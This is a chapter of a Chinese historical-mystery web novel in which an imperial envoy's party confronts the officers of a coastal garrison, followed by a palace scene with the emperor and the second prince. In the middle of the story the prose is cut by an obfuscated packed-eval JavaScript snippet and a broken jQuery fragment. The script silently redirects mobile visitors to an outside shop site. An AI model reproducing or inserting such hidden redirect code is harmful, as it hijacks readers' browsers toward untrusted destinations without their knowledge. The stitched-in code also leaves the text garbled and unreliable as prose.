马蹄声歇。
一行人勒马，停在永平州衙那两座威严的石狮子前。
“钦差礼部左侍郎舒大人在此！速去通禀你们知州！”陆骥朗声道。
守门的两名衙役闻言一惊，对视一眼，其中一人立刻转身奔入内堂通传。
不过片刻，但见一名身着青色官服的男子领着两名属官，步履匆匆地从里头迎出来。此人年约四旬，生得一副温文尔雅的面相，身上全无倨傲之气，举手投足间颇为谦和有礼。
众人翻身下马，陆骥大步上前，直接从怀中掏出兵部符验，连同舒长儒递过的敕书，亮在那人眼前。
那人仔细辨认了一番。面上并无多少意外之色，显然早已知道有钦差南下查办外使失踪一案。他当即整了整衣冠，领着属官恭敬地长揖行礼：“下官永平知州林孟阳，见过钦差大人。诸位大人一路风尘辛劳，快请入内。”
“奥斯兰外使失踪一案，是你递的折子报至朝廷的？”舒长儒上下打量了一番这位知州，问道。
林孟阳依旧维持着恭敬的姿态，应道：“正是下官。”
舒长儒点了点头，未再多作寒暄，大步跨入了府衙大门。
舒冉等人将手中缰绳交给衙役后，也跟随入内。
刚一进堂，舒长儒便直接道：“城外十五里的官道再往东的，有一处干涸暗沟，我们在那里发现了安平驿失踪驿丞的尸首，系火铳一击毙命。林知州，你即刻安排州衙的推官，带上仵作，由这位兵部差官引路，出城去验尸。”
听到“火铳”二字，林孟阳原本温和从容的脸色终于变了，眸光微动，似乎想到了些什么。
见舒长儒望过来，他忙道：“下官这就去安排！”
林孟阳当即招来推官，将事情交代妥当。
待那推官领着仵作与兵部差官匆匆出衙后，他又对舒长儒道：
“舒大人，不知诸位是否用过饭了？可需要下官命人先去后堂备些热乎的饭菜？再则，此案既牵涉到了火器，是否需要下官立刻派人去一趟澄海港卫所，将指挥使请过来回话？”
听到用饭二字，舒冉才发觉自己已饿得腹中疼痛，一阵阵泛酸水。
自清晨就着冷茶吃了些干粮，到发现尸体后一路奔波至此，早已是腹中空空，体力消耗极大。但若是派人去传唤，这一去一回之间，便等同于给卫所留足了遮掩准备的时间。
舒长儒与陆骥显然也想到了同一处。三人对视了一眼。
舒长儒侧过身，目光落在舒冉被冷风吹得有些发白的脸颊上，低声问道：“可还能撑得住？”
“我没事。”舒冉点头。
真要让她现在坐下来好好吃顿饭，只怕也吃不下去。
“好。”舒长儒转头看向林孟阳，淡淡地道，“不必叫他们过来了。你立刻去点二十名精壮护卫带刀随行，咱们现在就去卫所。”
林孟阳愣了一下。
他显然没料到，这位文臣出身的礼部侍郎，行事竟如此雷厉风行，连片刻喘息的功夫都不留。
但他并未多言，立刻躬身应道：“遵命，下官这就去安排。”
不过半盏茶的功夫，林孟阳便点齐了州衙里的二十名精壮佩刀护卫。
府衙门外，舒长儒、舒冉、陆骥三人，连同林孟阳以及那二十名全副武装的护卫，再次翻身上马，带着那二十名全副武装的护卫，调转马头，直奔永平州澄海港卫所的方向而去。
一行人纵马穿过喧闹的街市，径直向南面的大营疾驰。
越靠近海岸，地势便越发平阔。
舒冉在颠簸的马背上微微偏过头，视线越过鳞次栉比的飞檐屋脊，一片辽阔无垠的湛蓝毫无防备地撞入了眼帘。
那是海。
咸腥的海风迎面吹拂，卷起她被汗水浸湿的鬓发。
那一瞬间，舒冉有些失神。
曾经的她是在内陆的一个小县城长大的，此前从未到过海边。不久前，她还满心规划着，等将来找到安稳的工作，赚了钱还完助学贷款后，定要去看一次大海的波澜壮阔。
恍惚间，世事大梦一场。
她怎么也没想到，自己竟是以这般模样，在这等危机四伏的境地下，猝不及防地看到了海。
“呼——”
凛冽的海风顺着领口倒灌进来，胃里因为大半天未进水米而泛起一阵阵的抽痛，瞬间将舒冉飘远的思绪拉回到了现实。
她咬紧牙关，攥住缰绳。
周遭的喧嚣逐渐被海浪的声音吞没。
随着他们不断深入，街两旁的商铺与百姓已不见踪影，取而代之的是成排的兵营哨塔，以及钉满尖锐粗木桩的拒马。
一座森严的营寨大门已然矗立在了眼前，营门上方高悬的匾额上刻着“澄海卫”三个大字。
“什么人！军营重地，擅闯者死！”
未等众人策马靠近，营门前两排手执长枪的守军齐刷刷上前一步，锋利的枪尖在半空中交错，“咔嚓”一声，直接将去路死死封住。
那领门值守的百户抬眼看了看林孟阳，眼中并无多少畏惧之色，反倒皮笑肉不笑地拱了拱手：“原来是林知州啊。还请知州大人恕罪，咱们卫所的规矩您是知道的，没有咱们指挥使大人的亲笔手谕，便是天王老子来了，我等也不敢擅自放行啊。”
自古武将跋扈，尤其在这天高皇帝远的南境，握着兵权的卫所将官，很多时候根本不将寻常的地方文官放在眼里。
“放肆！”
一声怒喝骤然响起。
陆骥猛地策马上前，身下马匹前蹄高高扬起，几乎要踏到那百户的脸上，逼得他连连后退了几步。
“我乃兵部职方司主事陆骥，奉命调查奥斯兰外使一案，现需清查贵卫武库册籍与实数。兵部勘合在此，即刻开库，不得有违！
陆骥从怀中掏出一份明黄的绢帛文书，将带字的那一面亮了出来。
那百户一听“兵部职方司”几个字，脸色瞬间变了。
职方司主事只是个正六品的小官，但职方司可是直接管着天下卫所兵马、武官考核调遣的实权衙门，可谓实打实掐着他们的脖子。
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17715839|204244||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
那位百户还有些不敢置信，大着胆子往前凑了凑，细细辨认那勘合上的朱红大印。
舒长儒面色一沉，掏出了敕书，“本官乃礼部侍郎舒长儒，奉旨钦差，查办奥斯兰外使失踪一案，陛下特令我等便宜行事。凡涉案衙门，不得推诿阻挠。”
便宜行事，意味着此行的钦差有着生杀予夺之权，可直接调兵护卫，甚至是就地逮捕人犯。
那百户瞬间冷汗直流，强撑的底气顿时溃散，慌忙道：“快给钦差大人让道！”
交错的长枪瞬间撤去，厚重的营门被两旁的兵丁手忙脚乱地推开。
“大人恕罪，前天卫所刚封了官印，指挥使大人如今在家中准备过年事宜。卫所现由指指挥佥事钱大人负责，下官这就去堂里请钱指挥前来迎驾！”
说罢，他转身朝营内狂奔而去。
舒冉等人在营门外，静静勒马等候。
不过片刻，营内便传来一阵急促杂乱的脚步声。
只见一名身材魁梧，身着绯色武官常服的将领，领着七八名千户百户，急匆匆地从大营深处迎了出来。他人还未到跟前，便已远远地拱手抱拳，脸上堆起笑意，朗声道：
“不知钦差大人驾到，有失远迎，还望大人恕罪！”
*
皇宫。御书房内。
腊月二十七，按着大玄的祖制，是天子御笔写“福”字，赏赐朝臣以示恩宠的日子。
皇帝靠在明黄软榻上，伸手按了按有些发紧的眉心。听见脚步声，他缓缓睁开眼，看向刚刚入内请安的二皇子。
“老二，你来了。”皇帝指了指御案，语气里透着几分随和与疲态，“朕昨日连着写了十几张，今儿个这手腕酸沉得厉害，头也有些发昏。剩下的这些你来替朕写了吧。”
二皇子恭敬地行了一礼：“能替父皇分忧，是儿臣之福。”
他起身走到御案前，却没有用内务府早就备好的红纸，而是转身从随侍太监捧着的锦盒里，亲手取出一卷纸，徐徐铺陈在宽大的紫檀案面上。
那纸张比寻常的红纸厚实许多，朱红为底，里头细密地嵌着碎金箔，隐隐勾勒成霞光纹样，一看便非凡品。
“父皇，”二皇子一边用镇纸抚平纸张的边角，一边笑着回话，“这是前几日舅舅送来的流霞笺。今日既是替父皇代笔赐福，拿这纸来用正好。”
皇帝摇头失笑，“江家的人啊，就是讲究。都随你吧。”
说罢，他端起茶盏，看着二皇子在那张流霞笺落笔，忽而想起了什么，语气里带了几分怀念：
“看你摆弄这些纸墨，朕倒记起你七八岁的时候。那会儿朕问你，将来长大了想做什么。朕记得你当时说，想做个名满天下的书法家。你还说将来要云游四方，踏遍大玄的名山大川，把自己的字留在每一处古迹。”
二皇子提笔蘸墨，嘴边浮起一抹略带羞赧的笑。
“父皇怎么还记得这些童言无忌。儿臣那会儿年纪小，太贪玩了，不知道替父皇分忧。”
“呵呵。”皇帝笑了笑，不再言语。